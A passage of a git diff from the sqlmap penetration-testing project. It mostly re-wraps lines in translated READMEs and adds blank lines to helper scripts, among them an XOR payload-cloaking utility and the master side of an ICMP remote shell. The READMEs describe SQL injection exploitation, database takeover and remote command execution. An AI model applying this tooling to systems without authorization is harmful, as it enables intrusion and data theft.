[aqui](https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master). +Você pode baixar o arquivo tar mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/tarball/master) ou o +arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master). De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap funciona em [Python](https://www.python.org/download/) nas versões **2.6**, **2.7** e **3.x** em todas as plataformas. +sqlmap funciona em [Python](https://www.python.org/download/) nas versões **2.6**, **2.7** e **3.x** em todas as +plataformas. Como usar ---- @@ -34,13 +41,16 @@ Para obter a lista completa de opções faça: python sqlmap.py -hh Você pode encontrar alguns exemplos [aqui](https://asciinema.org/a/46601). -Para ter uma visão geral dos recursos do sqlmap, lista de recursos suportados e a descrição de todas as opções, juntamente com exemplos, aconselhamos que você consulte o [manual do usuário](https://github.com/sqlmapproject/sqlmap/wiki). +Para ter uma visão geral dos recursos do sqlmap, lista de recursos suportados e a descrição de todas as opções, +juntamente com exemplos, aconselhamos que você consulte +o [manual do usuário](https://github.com/sqlmapproject/sqlmap/wiki). Links ---- * Homepage: https://sqlmap.org -* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) + ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * Manual do Usuário: https://github.com/sqlmapproject/sqlmap/wiki diff --git a/doc/translations/README-rs-RS.md b/doc/translations/README-rs-RS.md index 6c5bb2c67..7a9a76792 100644 --- a/doc/translations/README-rs-RS.md +++ b/doc/translations/README-rs-RS.md @@ -2,25 +2,32 @@ [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) -sqlmap je alat otvorenog koda namenjen za penetraciono testiranje koji automatizuje proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije i preuzimanje baza podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko uzimanja podataka iz baze, do pristupa zahvaćenom fajl sistemu i izvršavanja komandi na operativnom sistemu korištenjem tzv. "out-of-band" veza. +sqlmap je alat otvorenog koda namenjen za penetraciono testiranje koji automatizuje proces detekcije i eksploatacije +sigurnosnih propusta SQL injekcije i preuzimanje baza podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom +korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, +preko uzimanja podataka iz baze, do pristupa zahvaćenom fajl sistemu i izvršavanja komandi na operativnom sistemu +korištenjem tzv. "out-of-band" veza. Slike ---- ![Slika](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -Možete posetiti [kolekciju slika](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) gde su demonstrirane neke od e se demonstriraju neke od funkcija na wiki stranicama. +Možete posetiti [kolekciju slika](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) gde su demonstrirane neke od +e se demonstriraju neke od funkcija na wiki stranicama. Instalacija ---- -Možete preuzeti najnoviji tarball klikom [ovde](https://github.com/sqlmapproject/sqlmap/tarball/master) ili najnoviji zipball klikom [ovde](https://github.com/sqlmapproject/sqlmap/zipball/master). +Možete preuzeti najnoviji tarball klikom [ovde](https://github.com/sqlmapproject/sqlmap/tarball/master) ili najnoviji +zipball klikom [ovde](https://github.com/sqlmapproject/sqlmap/zipball/master). Opciono, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sqlmapproject/sqlmap) repozitorija: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap radi bez posebnih zahteva korištenjem [Python](https://www.python.org/download/) verzije **2.6**, **2.7** i/ili **3.x** na bilo kojoj platformi. +sqlmap radi bez posebnih zahteva korištenjem [Python](https://www.python.org/download/) verzije **2.6**, **2.7** i/ili * +*3.x** na bilo kojoj platformi. Korišćenje ---- @@ -34,13 +41,15 @@ Kako biste dobili listu svih opcija i prekidača koristite: python sqlmap.py -hh Možete pronaći primer izvršavanja [ovde](https://asciinema.org/a/46601). -Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih funkcija, te opis svih opcija i prekidača, zajedno s primerima, preporučen je uvid u [korisnički priručnik](https://github.com/sqlmapproject/sqlmap/wiki/Usage). +Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih funkcija, te opis svih opcija i prekidača, zajedno s +primerima, preporučen je uvid u [korisnički priručnik](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Linkovi ---- * Početna stranica: https://sqlmap.org -* Preuzimanje: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ili [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Preuzimanje: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) + ili [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS feed promena u kodu: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Prijava problema: https://github.com/sqlmapproject/sqlmap/issues * Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki diff --git a/doc/translations/README-ru-RUS.md b/doc/translations/README-ru-RUS.md index 634a4488a..63e3ee0fe 100644 --- a/doc/translations/README-ru-RUS.md +++ b/doc/translations/README-ru-RUS.md @@ -2,25 +2,32 @@ [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) -sqlmap - это инструмент для тестирования уязвимостей с открытым исходным кодом, который автоматизирует процесс обнаружения и использования ошибок SQL-инъекций и захвата серверов баз данных. Он оснащен мощным механизмом обнаружения, множеством приятных функций для профессионального тестера уязвимостей и широким спектром скриптов, которые упрощают работу с базами данных, от сбора данных из базы данных, до доступа к базовой файловой системе и выполнения команд в операционной системе через out-of-band соединение. +sqlmap - это инструмент для тестирования уязвимостей с открытым исходным кодом, который автоматизирует процесс +обнаружения и использования ошибок SQL-инъекций и захвата серверов баз данных. Он оснащен мощным механизмом обнаружения, +множеством приятных функций для профессионального тестера уязвимостей и широким спектром скриптов, которые упрощают +работу с базами данных, от сбора данных из базы данных, до доступа к базовой файловой системе и выполнения команд в +операционной системе через out-of-band соединение. Скриншоты ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -Вы можете посетить [набор скриншотов](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) демонстрируемые некоторые функции в wiki. +Вы можете посетить [набор скриншотов](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) демонстрируемые +некоторые функции в wiki. Установка ---- -Вы можете скачать последнюю версию tarball, нажав [сюда](https://github.com/sqlmapproject/sqlmap/tarball/master) или последний zipball, нажав [сюда](https://github.com/sqlmapproject/sqlmap/zipball/master). +Вы можете скачать последнюю версию tarball, нажав [сюда](https://github.com/sqlmapproject/sqlmap/tarball/master) или +последний zipball, нажав [сюда](https://github.com/sqlmapproject/sqlmap/zipball/master). Предпочтительно вы можете загрузить sqlmap, клонируя [Git](https://github.com/sqlmapproject/sqlmap) репозиторий: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap работает из коробки с [Python](https://www.python.org/download/) версии **2.6**, **2.7** и **3.x** на любой платформе. +sqlmap работает из коробки с [Python](https://www.python.org/download/) версии **2.6**, **2.7** и **3.x** на любой +платформе. Использование ---- @@ -34,13 +41,16 @@ sqlmap работает из коробки с [Python](https://www.python.org/d python sqlmap.py -hh Вы можете найти пробный запуск [тут](https://asciinema.org/a/46601). -Чтобы получить обзор возможностей sqlmap, список поддерживаемых функций и описание всех параметров и переключателей, а также примеры, вам рекомендуется ознакомится с [пользовательским мануалом](https://github.com/sqlmapproject/sqlmap/wiki/Usage). +Чтобы получить обзор возможностей sqlmap, список поддерживаемых функций и описание всех параметров и переключателей, а +также примеры, вам рекомендуется ознакомится +с [пользовательским мануалом](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Ссылки ---- * Основной сайт: https://sqlmap.org -* Скачивание: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) или [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Скачивание: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) + или [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Канал новостей RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Отслеживание проблем: https://github.com/sqlmapproject/sqlmap/issues * Пользовательский мануал: https://github.com/sqlmapproject/sqlmap/wiki diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index cf60143f2..b82c0d208 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -2,7 +2,9 @@ [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) -sqlmap sql injection açıklarını otomatik olarak tespit ve istismar etmeye yarayan açık kaynak bir penetrasyon aracıdır. sqlmap gelişmiş tespit özelliğinin yanı sıra penetrasyon testleri sırasında gerekli olabilecek bir çok aracı, -uzak veritabınınından, veri indirmek, dosya sistemine erişmek, dosya çalıştırmak gibi - işlevleri de barındırmaktadır. +sqlmap sql injection açıklarını otomatik olarak tespit ve istismar etmeye yarayan açık kaynak bir penetrasyon aracıdır. +sqlmap gelişmiş tespit özelliğinin yanı sıra penetrasyon testleri sırasında gerekli olabilecek bir çok aracı, -uzak +veritabınınından, veri indirmek, dosya sistemine erişmek, dosya çalıştırmak gibi - işlevleri de barındırmaktadır. Ekran görüntüleri @@ -10,20 +12,22 @@ Ekran görüntüleri ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) - -İsterseniz özelliklerin tanıtımının yapıldığı [ekran görüntüleri](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) sayfasını ziyaret edebilirsiniz. +İsterseniz özelliklerin tanıtımının +yapıldığı [ekran görüntüleri](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) sayfasını ziyaret edebilirsiniz. Kurulum ---- -[Buraya](https://github.com/sqlmapproject/sqlmap/tarball/master) tıklayarak en son sürüm tarball'ı veya [buraya](https://github.com/sqlmapproject/sqlmap/zipball/master) tıklayarak zipbal'ı indirebilirsiniz. +[Buraya](https://github.com/sqlmapproject/sqlmap/tarball/master) tıklayarak en son sürüm tarball'ı +veya [buraya](https://github.com/sqlmapproject/sqlmap/zipball/master) tıklayarak zipbal'ı indirebilirsiniz. Veya tercihen, [Git](https://github.com/sqlmapproject/sqlmap) reposunu klonlayarak indirebilirsiniz git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap [Python](https://www.python.org/download/) sitesinde bulunan **2.6**, **2.7** and **3.x** versiyonları ile bütün platformlarda çalışabilmektedir. +sqlmap [Python](https://www.python.org/download/) sitesinde bulunan **2.6**, **2.7** and **3.x** versiyonları ile bütün +platformlarda çalışabilmektedir. Kullanım ---- @@ -37,13 +41,16 @@ Bütün seçenekleri gösterir python sqlmap.py -hh -Program ile ilgili örnekleri [burada](https://asciinema.org/a/46601) bulabilirsiniz. Daha fazlası için sqlmap'in bütün açıklamaları ile birlikte bütün özelliklerinin, örnekleri ile bulunduğu [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki/Usage) bakmanızı tavsiye ediyoruz +Program ile ilgili örnekleri [burada](https://asciinema.org/a/46601) bulabilirsiniz. Daha fazlası için sqlmap'in bütün +açıklamaları ile birlikte bütün özelliklerinin, örnekleri ile +bulunduğu [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki/Usage) bakmanızı tavsiye ediyoruz Bağlantılar ---- * Anasayfa: https://sqlmap.org -* İndirme bağlantıları: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* İndirme bağlantıları: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) + or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commitlerin RSS beslemeleri: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Hata takip etme sistemi: https://github.com/sqlmapproject/sqlmap/issues * Kullanıcı Manueli: https://github.com/sqlmapproject/sqlmap/wiki diff --git a/doc/translations/README-uk-UA.md b/doc/translations/README-uk-UA.md index d7fd412bc..174c01e76 100644 --- a/doc/translations/README-uk-UA.md +++ b/doc/translations/README-uk-UA.md @@ -2,25 +2,32 @@ [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) -sqlmap - це інструмент для тестування вразливостей з відкритим сирцевим кодом, який автоматизує процес виявлення і використання дефектів SQL-ін'єкцій, а також захоплення серверів баз даних. Він оснащений потужним механізмом виявлення, безліччю приємних функцій для професійного тестувальника вразливостей і широким спектром скриптів, які спрощують роботу з базами даних - від відбитка бази даних до доступу до базової файлової системи та виконання команд в операційній системі через out-of-band з'єднання. +sqlmap - це інструмент для тестування вразливостей з відкритим сирцевим кодом, який автоматизує процес виявлення і +використання дефектів SQL-ін'єкцій, а також захоплення серверів баз даних. Він оснащений потужним механізмом виявлення, +безліччю приємних функцій для професійного тестувальника вразливостей і широким спектром скриптів, які спрощують роботу +з базами даних - від відбитка бази даних до доступу до базової файлової системи та виконання команд в операційній +системі через out-of-band з'єднання. Скриншоти ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -Ви можете ознайомитися з [колекцією скриншотів](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), які демонструють деякі функції в wiki. +Ви можете ознайомитися з [колекцією скриншотів](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), які +демонструють деякі функції в wiki. Встановлення ---- -Ви можете завантажити останню версію tarball натиснувши [сюди](https://github.com/sqlmapproject/sqlmap/tarball/master) або останню версію zipball натиснувши [сюди](https://github.com/sqlmapproject/sqlmap/zipball/master). +Ви можете завантажити останню версію tarball натиснувши [сюди](https://github.com/sqlmapproject/sqlmap/tarball/master) +або останню версію zipball натиснувши [сюди](https://github.com/sqlmapproject/sqlmap/zipball/master). Найкраще завантажити sqlmap шляхом клонування [Git](https://github.com/sqlmapproject/sqlmap) репозиторію: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap «працює з коробки» з [Python](https://www.python.org/download/) версії **2.6**, **2.7** та **3.x** на будь-якій платформі. +sqlmap «працює з коробки» з [Python](https://www.python.org/download/) версії **2.6**, **2.7** та **3.x** на будь-якій +платформі. Використання ---- @@ -34,13 +41,16 @@ sqlmap «працює з коробки» з [Python](https://www.python.org/dow python sqlmap.py -hh Ви можете знайти приклад виконання [тут](https://asciinema.org/a/46601). -Для того, щоб ознайомитися з можливостями sqlmap, списком підтримуваних функцій та описом всіх параметрів і перемикачів, а також прикладами, вам рекомендується скористатися [інструкцією користувача](https://github.com/sqlmapproject/sqlmap/wiki/Usage). +Для того, щоб ознайомитися з можливостями sqlmap, списком підтримуваних функцій та описом всіх параметрів і перемикачів, +а також прикладами, вам рекомендується +скористатися [інструкцією користувача](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Посилання ---- * Основний сайт: https://sqlmap.org -* Завантаження: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) або [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Завантаження: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) + або [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Канал новин RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Відстеження проблем: https://github.com/sqlmapproject/sqlmap/issues * Інструкція користувача: https://github.com/sqlmapproject/sqlmap/wiki diff --git a/doc/translations/README-vi-VN.md b/doc/translations/README-vi-VN.md index 61fccfe4b..948588c8f 100644 --- a/doc/translations/README-vi-VN.md +++ b/doc/translations/README-vi-VN.md @@ -2,27 +2,34 @@ [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) -sqlmap là một công cụ kiểm tra thâm nhập mã nguồn mở, nhằm tự động hóa quá trình phát hiện, khai thác lỗ hổng tiêm SQL và tiếp quản các máy chủ cơ sở dữ liệu. Nó đi kèm với -một hệ thống phát hiện mạnh mẽ, nhiều tính năng thích hợp cho người kiểm tra thâm nhập (pentester) và một loạt các tùy chọn bao gồm phát hiện cơ sở dữ liệu, truy xuất dữ liệu từ cơ sở dữ liệu, truy cập tệp của hệ thống và thực hiện các lệnh trên hệ điều hành từ xa. +sqlmap là một công cụ kiểm tra thâm nhập mã nguồn mở, nhằm tự động hóa quá trình phát hiện, khai thác lỗ hổng tiêm SQL +và tiếp quản các máy chủ cơ sở dữ liệu. Nó đi kèm với +một hệ thống phát hiện mạnh mẽ, nhiều tính năng thích hợp cho người kiểm tra thâm nhập (pentester) và một loạt các tùy +chọn bao gồm phát hiện cơ sở dữ liệu, truy xuất dữ liệu từ cơ sở dữ liệu, truy cập tệp của hệ thống và thực hiện các +lệnh trên hệ điều hành từ xa. Ảnh chụp màn hình ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -Bạn có thể truy cập vào [bộ sưu tập ảnh chụp màn hình](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), chúng trình bày một số tính năng có thể tìm thấy trong wiki. +Bạn có thể truy cập vào [bộ sưu tập ảnh chụp màn hình](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), chúng +trình bày một số tính năng có thể tìm thấy trong wiki. Cài đặt ---- -Bạn có thể tải xuống tập tin nén tar mới nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc tập tin nén zip mới nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/zipball/master). +Bạn có thể tải xuống tập tin nén tar mới nhất bằng cách nhấp +vào [đây](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc tập tin nén zip mới nhất bằng cách nhấp +vào [đây](https://github.com/sqlmapproject/sqlmap/zipball/master). Tốt hơn là bạn nên tải xuống sqlmap bằng cách clone với [Git](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap hoạt động hiệu quả với [Python](https://www.python.org/download/) phiên bản **2.6**, **2.7** và **3.x** trên bất kì hệ điều hành nào. +sqlmap hoạt động hiệu quả với [Python](https://www.python.org/download/) phiên bản **2.6**, **2.7** và **3.x** trên bất +kì hệ điều hành nào. Sử dụng ---- @@ -36,13 +43,16 @@ Sử dụng python sqlmap.py -hh Bạn có thể xem video chạy thử [tại đây](https://asciinema.org/a/46601). -Để có cái nhìn tổng quan về các khả năng của sqlmap, danh sách các tính năng được hỗ trợ và mô tả về tất cả các tùy chọn, cùng với các ví dụ, bạn nên tham khảo [hướng dẫn sử dụng](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (Tiếng Anh). +Để có cái nhìn tổng quan về các khả năng của sqlmap, danh sách các tính năng được hỗ trợ và mô tả về tất cả các tùy +chọn, cùng với các ví dụ, bạn nên tham khảo [hướng dẫn sử dụng](https://github.com/sqlmapproject/sqlmap/wiki/Usage) ( +Tiếng Anh). Liên kết ---- * Trang chủ: https://sqlmap.org -* Tải xuống: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Tải xuống: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) + hoặc [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Nguồn cấp dữ liệu RSS về commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Theo dõi vấn đề: https://github.com/sqlmapproject/sqlmap/issues * Hướng dẫn sử dụng: https://github.com/sqlmapproject/sqlmap/wiki diff --git a/doc/translations/README-zh-CN.md b/doc/translations/README-zh-CN.md index 7bff72135..100b50d08 100644 --- a/doc/translations/README-zh-CN.md +++ b/doc/translations/README-zh-CN.md @@ -2,7 +2,8 @@ [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) -sqlmap 是一个开源的渗透测试工具，可以用来自动化的检测，利用SQL注入漏洞，获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项，包括获取数据库中存储的数据，访问操作系统文件甚至可以通过带外数据连接的方式执行操作系统命令。 +sqlmap +是一个开源的渗透测试工具，可以用来自动化的检测，利用SQL注入漏洞，获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项，包括获取数据库中存储的数据，访问操作系统文件甚至可以通过带外数据连接的方式执行操作系统命令。 演示截图 ---- @@ -14,7 +15,8 @@ sqlmap 是一个开源的渗透测试工具，可以用来自动化的检测， 安装方法 ---- -你可以点击 [这里](https://github.com/sqlmapproject/sqlmap/tarball/master) 下载最新的 `tar` 打包的源代码 或者点击 [这里](https://github.com/sqlmapproject/sqlmap/zipball/master)下载最新的 `zip` 打包的源代码. +你可以点击 [这里](https://github.com/sqlmapproject/sqlmap/tarball/master) 下载最新的 `tar` 打包的源代码 +或者点击 [这里](https://github.com/sqlmapproject/sqlmap/zipball/master)下载最新的 `zip` 打包的源代码. 推荐你从 [Git](https://github.com/sqlmapproject/sqlmap) 仓库获取最新的源代码: @@ -33,13 +35,16 @@ sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.6**, **2. python sqlmap.py -hh -你可以从 [这里](https://asciinema.org/a/46601) 看到一个sqlmap 的使用样例。除此以外，你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki/Usage)。获取sqlmap所有支持的特性、参数、命令行选项开关及说明的使用帮助。 +你可以从 [这里](https://asciinema.org/a/46601) 看到一个sqlmap +的使用样例。除此以外，你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki/Usage) +。获取sqlmap所有支持的特性、参数、命令行选项开关及说明的使用帮助。 链接 ---- * 项目主页: https://sqlmap.org -* 源代码下载: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* 源代码下载: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) + or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS 订阅: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * 使用手册: https://github.com/sqlmapproject/sqlmap/wiki diff --git a/extra/beep/beep.py b/extra/beep/beep.py index ad9328340..c91b3ff0d 100644 --- a/extra/beep/beep.py +++ b/extra/beep/beep.py @@ -13,6 +13,7 @@ import wave BEEP_WAV_FILENAME = os.path.join(os.path.dirname(__file__), "beep.wav") + def beep(): try: if sys.platform.startswith("win"): @@ -28,6 +29,7 @@ def beep(): except: _speaker_beep() + def _speaker_beep(): sys.stdout.write('\a') # doesn't work on modern Linux systems @@ -36,19 +38,23 @@ def _speaker_beep(): except IOError: pass + # Reference: https://lists.gnu.org/archive/html/emacs-devel/2014-09/msg00815.html def _cygwin_beep(filename): os.system("play-sound-file '%s' 2>/dev/null" % filename) + def _mac_beep(): import Carbon.Snd Carbon.Snd.SysBeep(1) + def _win_wav_play(filename): import winsound winsound.PlaySound(filename, winsound.SND_FILENAME) + def _linux_wav_play(filename): for _ in ("aplay", "paplay", "play"): if not os.system("%s '%s' 2>/dev/null" % (_, filename)): @@ -77,7 +83,8 @@ def _linux_wav_play(filename): error = ctypes.c_int(0) - pa_stream = pa.pa_simple_new(None, filename, PA_STREAM_PLAYBACK, None, "playback", ctypes.byref(pa_sample_spec), None, None, ctypes.byref(error)) + pa_stream = pa.pa_simple_new(None, filename, PA_STREAM_PLAYBACK, None, "playback", ctypes.byref(pa_sample_spec), + None, None, ctypes.byref(error)) if not pa_stream: raise Exception("Could not create pulse audio stream: %s" % pa.strerror(ctypes.byref(error))) @@ -100,5 +107,6 @@ def _linux_wav_play(filename): pa.pa_simple_free(pa_stream) + if __name__ == "__main__": beep() diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py index 77cef7c42..56d933ce7 100644 --- a/extra/cloak/cloak.py +++ b/extra/cloak/cloak.py @@ -23,9 +23,11 @@ if sys.version_info >= (3, 0): KEY = b"ENWsCymUeJcXqSbD" + def xor(message, key): return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message))) + def cloak(inputFile=None, data=None): if data is None: with open(inputFile, "rb") as f: @@ -33,6 +35,7 @@ def cloak(inputFile=None, data=None): return xor(zlib.compress(data), KEY) + def decloak(inputFile=None, data=None): if data is None: with open(inputFile, "rb") as f: @@ -48,6 +51,7 @@ def decloak(inputFile=None, data=None): return data + def main(): usage = '%s [-d] -i [-o ]' % sys.argv[0] parser = OptionParser(usage=usage, version='0.2') @@ -84,5 +88,6 @@ def main(): f.write(data) f.close() + if __name__ == '__main__': main() diff --git a/extra/dbgtool/dbgtool.py b/extra/dbgtool/dbgtool.py index c8e0c9733..6297f28df 100644 --- a/extra/dbgtool/dbgtool.py +++ b/extra/dbgtool/dbgtool.py @@ -15,6 +15,7 @@ import sys from optparse import OptionError from optparse import OptionParser + def convert(inputFile): fileStat = os.stat(inputFile) fileSize = fileStat.st_size @@ -58,6 +59,7 @@ def convert(inputFile): return script + def main(inputFile, outputFile): if not os.path.isfile(inputFile): print("ERROR: the provided input file '%s' is not a regular file" % inputFile) @@ -73,6 +75,7 @@ def main(inputFile, outputFile): else: print(script) + if __name__ == "__main__": usage = "%s -i [-o ]" % sys.argv[0] parser = OptionParser(usage=usage, version="0.1") diff --git a/extra/icmpsh/icmpsh_m.py b/extra/icmpsh/icmpsh_m.py index 17370fdc0..78ab112b5 100644 --- a/extra/icmpsh/icmpsh_m.py +++ b/extra/icmpsh/icmpsh_m.py @@ -24,6 +24,7 @@ import select import socket import sys + def setNonBlocking(fd): """ Make a file descriptor non-blocking @@ -35,6 +36,7 @@ def setNonBlocking(fd): flags = flags | os.O_NONBLOCK fcntl.fcntl(fd, fcntl.F_SETFL, flags) + def main(src, dst): if sys.platform == "nt": sys.stderr.write('icmpsh master can only run on Posix systems\n') @@ -134,6 +136,7 @@ def main(src, dst): except: break + if __name__ == '__main__': if len(sys.argv) < 3: msg = 'missing mandatory options. Execute as root:\n' diff --git a/extra/shutils/newlines.py b/extra/shutils/newlines.py index fe28a35ba..5d4c9d1f3 100644 --- a/extra/shutils/newlines.py +++ b/extra/shutils/newlines.py @@ -5,6 +5,7 @@ from __future__ import print_function import os import sys + def check(filepath): if filepath.endswith(".py"): content = open(filepath, "rb").read() @@ -14,6 +15,7 @@ def check(filepath): index = content.find(pattern) print(filepath, repr(content[index - 